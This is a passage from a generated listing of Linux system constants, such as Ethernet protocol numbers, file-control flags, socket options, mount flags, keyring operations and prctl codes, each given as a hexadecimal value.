-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x2000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0xe
-- F_GETLK64 = 0xe
-- F_GETOWN = 0x17
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0x6
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0x7
-- F_SETOWN = 0x18
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x100
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x80
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x800
-- MAP_ANONYMOUS = 0x800
-- MAP_DENYWRITE = 0x2000
-- MAP_EXECUTABLE = 0x4000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x1000
-- MAP_HUGETLB = 0x80000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x8000
-- MAP_NONBLOCK = 0x20000
-- MAP_NORESERVE = 0x400
-- MAP_POPULATE = 0x10000
-- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x800
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x40000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x8
-- O_ASYNC = 0x1000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x100
-- O_DIRECT = 0x8000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x10
-- O_EXCL = 0x400
-- O_FSYNC = 0x4010
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x80
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x800
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x80
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x4010
-- O_SYNC = 0x4010
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
